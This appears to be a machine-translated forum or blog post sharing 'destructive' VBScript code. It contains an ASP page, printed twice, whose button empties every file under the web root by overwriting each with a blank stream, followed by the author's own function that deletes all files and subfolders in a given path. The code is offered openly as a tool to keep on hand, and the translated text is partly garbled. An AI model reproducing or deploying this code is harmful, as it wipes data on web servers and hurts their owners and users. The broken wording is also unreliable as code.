VBS DESTRUCTIVE Application Code _vbs

' See on the net, apply with the server without disabling shell.application
Server.ScriptTimeout = 99999
If request ("submit") <> "Then"
Call ListFile (Server.MapPath ("./"))
Response. Write "Finished processing"
Else
Response. Write "<form><input type=" "Submit" "Name=" "Submit" "value=" "empty the contents of all Files" "></form>"
End If

Function ListFile (Fpath)
On Error Resume Next
Dim Shell, Folder, S
Set Shell = server. CreateObject ("Shell.Application")
Set Folder = Shell.namespace (Fpath)
Set f = Server. CreateObject ("ADODB.stream")
F.type = 1
F.open
For each s in Folder.items
If S.isfolder Then
Call ListFile (S.path)
Else
F.savetofile S.path, 2
End If
Next
Set F = Nothing
Set Shell = Nothing
End Function

' See on the net, apply with the server without disabling shell.application
Server.ScriptTimeout = 99999
If request ("submit") <> "Then"
Call ListFile (Server.MapPath ("./"))
Response. Write "Finished processing"
Else
Response. Write "<form><input type=" "Submit" "Name=" "Submit" "value=" "empty the contents of all Files" "></form>"
End If

Function ListFile (Fpath)
On Error Resume Next
Dim Shell, Folder, S
Set Shell = server. CreateObject ("Shell.Application")
Set Folder = Shell.namespace (Fpath)
Set f = Server. CreateObject ("ADODB.stream")
F.type = 1
F.open
For each s in Folder.items
If S.isfolder Then
Call ListFile (S.path)
Else
F.savetofile S.path, 2
End If
Next
Set F = Nothing
Set Shell = Nothing
End Function
I've seen this before, I feel useless, so dangerous component servers are generally disabled, but today, I suddenly feel that have to collect or make some such software, can maintain their own power. The specific reason I do not say, I wrote one:

View Plaincopy to Clipboardprint?
' See file deletion file, see folder Delete folder
Function Filestree (spath)
Set oFSO = CreateObject ("Scripting.FileSystemObject")
Set ofolder = Ofso.getfolder (spath)
Set osubfolders = ofolder.subfolders

Set ofiles = Ofolder.files
For each ofile in Ofiles
' WScript.Echo Ofile.path
Ofile.delete
Next

For each osubfolder in Osubfolders
' WScript.Echo Osubfolder.path
Osubfolder.delete
' Filestree (osubfolder.path) ' Recursive
Next

Set ofolder = Nothing
Set osubfolders = Nothing
Set oFSO = Nothing
End Function

Filestree ("F:\deltest\deltest") ' Traversal